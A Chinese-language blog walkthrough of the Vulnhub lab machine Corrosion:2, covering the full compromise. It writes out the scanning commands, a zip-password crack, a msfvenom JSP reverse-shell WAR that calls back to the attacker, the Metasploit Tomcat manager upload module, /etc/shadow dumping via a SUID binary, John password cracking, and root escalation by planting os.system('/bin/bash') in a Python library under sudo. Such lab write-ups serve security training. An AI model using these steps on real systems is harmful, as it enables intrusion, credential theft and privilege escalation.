【Vulnhub】Corrosion:2

Corrosion:2

Description

​ Difficult:Medium

​ Hint:Enumeration is key.

准备:

​ kali:192.168.1.8

​ 靶机:192.168.1.9

​ 工具:fscan、dirsearch、ffuf、fcrackzip、msf、unshadow

信息收集

​ 先使用 fscan 扫描内网查看靶机ip,为:192.168.1.9

image-20241012101530868

​ 这里 fscan 直接扫描出来漏洞了,不管它...

​ nmap扫描端口服务

namp -A -sV -p- 192.168.1.9

image-20241012104136013

​ 开放了 22、80、8080

image-20241012111738420

image-20241012111759667

​ ffuf 扫一下 80端口的网站目录,没什么结果

ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://192.168.1.9/FUZZ

image-20241012110432928

​ 用 dirsearch 先快速扫描一下 8080 端口的网站目录,发现有个zip文件和 readme.txt 文件

 dirsearch -u http://192.168.1.9:8080

image-20241015143454557

​ 再用 ffuf 使用大字典扫一遍,结果差不多

ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://192.168.1.9:8080/FUZZ

​ 显示有两个目录 examples/、manager/。

image-20241012110845107

​ 先进入 readme.txt 内查看一下

image-20241015143648356

​ 透露了两个信息

​ administrator 用户名为 randy

​ 在server里留了一个加密的file

​ 那不就是说目录扫描出来的 backup.zip 文件么,下载下来

​ 使用 fcrackzip 爆破

fcrackzip -u -D -p rockyou.txt backup.zip

image-20241015144449638

​ zip解压密码为:@administrator_hi5

​ 发现里面有个 tomcat-users.xml 文件,内容包含有账号密码

image-20241015145729410

image-20241015145834132

​ 进入我们之前用 ffuf 扫到的两个目录查看

​ 第一个 examples/ 目录里面有很多测试功能和接口,但没什么用

image-20241012111821631

​ 看第二个 manager/ 目录,发现需要登陆

image-20241012111841992

​ 用我们刚才获取的账号密码登陆进去

​ (我这里用了 admin/melehifokivai 这个账号密码,因为这个账号的roles是 admin-gui 和 manager-gui)

image-20241015152013387

​ 在 WAR file to deploy 中看到有上传,但是要求是war后缀的文件

漏洞利用

​ 可以用 msf 生成一个 war 格式的木马尝试上传

msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.8 LPORT=6789 -f war > 1.war

image-20241015153634089

​ 监听不到

image-20241015153924714

​ 换方法...

​ msf 中有一个直接可以利用的 Tomcat upload 的 webshell 模块,直接输入 msfconsole 打开msf,然后

search tomcat upload

image-20241015154435141

use exploit/multi/http/tomcat_mgr_upload

[!NOTE]

这里说明一下,虽然直接 use 7 也可以,但是尽量填路径吧,就在刚刚我看错了模块名,设置好之后,run了好几次没run动...

image-20241015160830882

show options

image-20241015160911202

​ 这里需要填 账号、密码、目标IP、修改目标端口,然后再 show options

set HttpPassword melehifokivai
set HttpUsername admin
set RHOSTS 192.168.1.9
set RPORT 8080
show options

image-20241015161029894

​ 确认无误后,run!

image-20241015161111726

​ 输入 shell,开始执行系统命令,查看当前用户为 tomcat

image-20241015161505842

​ 慢慢搜搜,可以看到 randy 用户目录里面有个user.txt

image-20241015161816480

cat user.txt

​ 拿到第一个flag

image-20241015161912177

​ 在上面我们搜索的过程中有进入到用户名为 jaye 的目录中,并且输入ls发现没有权限

​ 尝试切换到 jaye 用户,并且密码还是 melehifokivai

​ 【为什么?因为之前那个tomcat-user文件里面两个用户的密码都是这个...】

image-20241015162446524

​ ls发现该用户目录还是有个 user.txt 不过flag一样。。。

​ 接下来查看 /etc/passwd 文件,发现jaye是可以通过ssh登录的

image-20241015165507073

​ cat 一下 /etc/shadow

【这里说明一下,/etc/shadow 是一个很重要的安全文件,用于存储用户的密码信息,包含了加密的用户密码,但是只有具有root权限才能访问】

cat /etc/shadow

image-20241015224723784

用ssh登陆jaye用户,进去之后发现有个 Files 文件是之前没有看到的,进入查看,发现有一个可执行文件look

image-20241015165640886

​ 该 look 文件具有root权限,另外 look 命令可以越权访问。

​ 所以用 look 再去查看 /etc/shadow

image-20241015165808188

./look '' /etc/shadow

image-20241015230412311

​ 将获取到的内容复制到本地 shadow 文件,还有之前的 /etc/passwd 内容也复制下来到 passwd 文件,然后暴力破解,生成密码本

unshadow passwd shadow > pass.txt

image-20241015234354223

​ 得到的 pass.txt 文件内容应该为:

image-20241015234434637

​ 破解 pass.txt 文件【这里的字典一般是在kali系统的 /usr/share/wordlists/ 目录中】

john --wordlist=rockyou.txt ./pass.txt

​ 爆破过程比较慢长,一般几个小时。结果出来两个用户

image-20241016001311449

​ 我这里跑出来一个用户就截图了,你可以慢慢跑[doge]

jaye/melehifokivai

randy/07051986randy

​ 第一个 jaye 用户前面已经得到过了

​ 登录第二个 randy 用户吧

image-20241015234943069

提权

​ 查看用户允许的操作:

sudo -l

image-20241015235103495

​ 可以root运行当前目录下的 randombase64.py 文件

​ cat 一下,并且查看该文件权限

image-20241015235205965

image-20241015235259459

​ 但是发现不能编辑更改这个文件,不过可以python运行

image-20241015235355274

​ 回过头来,代码导入 base64 模块,不如就直接更改这个模块【这里的思路在一些文件包含漏洞里也能用上】

​ 找到 base64.py 文件

image-20241015235810620

​ nano 编辑 base64.py 文件,导入os模块,然后在 base64加密函数中写入 shell

image-20241016000450708

image-20241016000024682

​ sudo 以 python3.8 运行 randombase64.py 脚本,拿到 root 权限,获取 root flag

image-20241016000301273

image-20241016000403906

总结

​ 首先,解释一下最后在 base64.py 文件中 b646encode 函数添加 os.system("/bin/bash")语句的作用:

  • os.system() 是 Python 中执行系统命令的函数。它可以让 Python 代码直接调用操作系统命令。
  • 在这种情况下,os.system("/bin/bash") 会启动一个 Bash shell。当这个函数被执行时,当前的程序会进入一个新打开的 Bash shell 环境中。

​ 于是当我们运行 randombase64.py 脚本的过程中便以 root 用户打开了一个新的shell环境

[!TIP]

其实还有一种提权方法:CVE-2021-4034【https://github.com/berdav/CVE-2021-4034】

posted @ 2025-03-07 20:10  酷比灯  阅读(24)  评论(0)    收藏  举报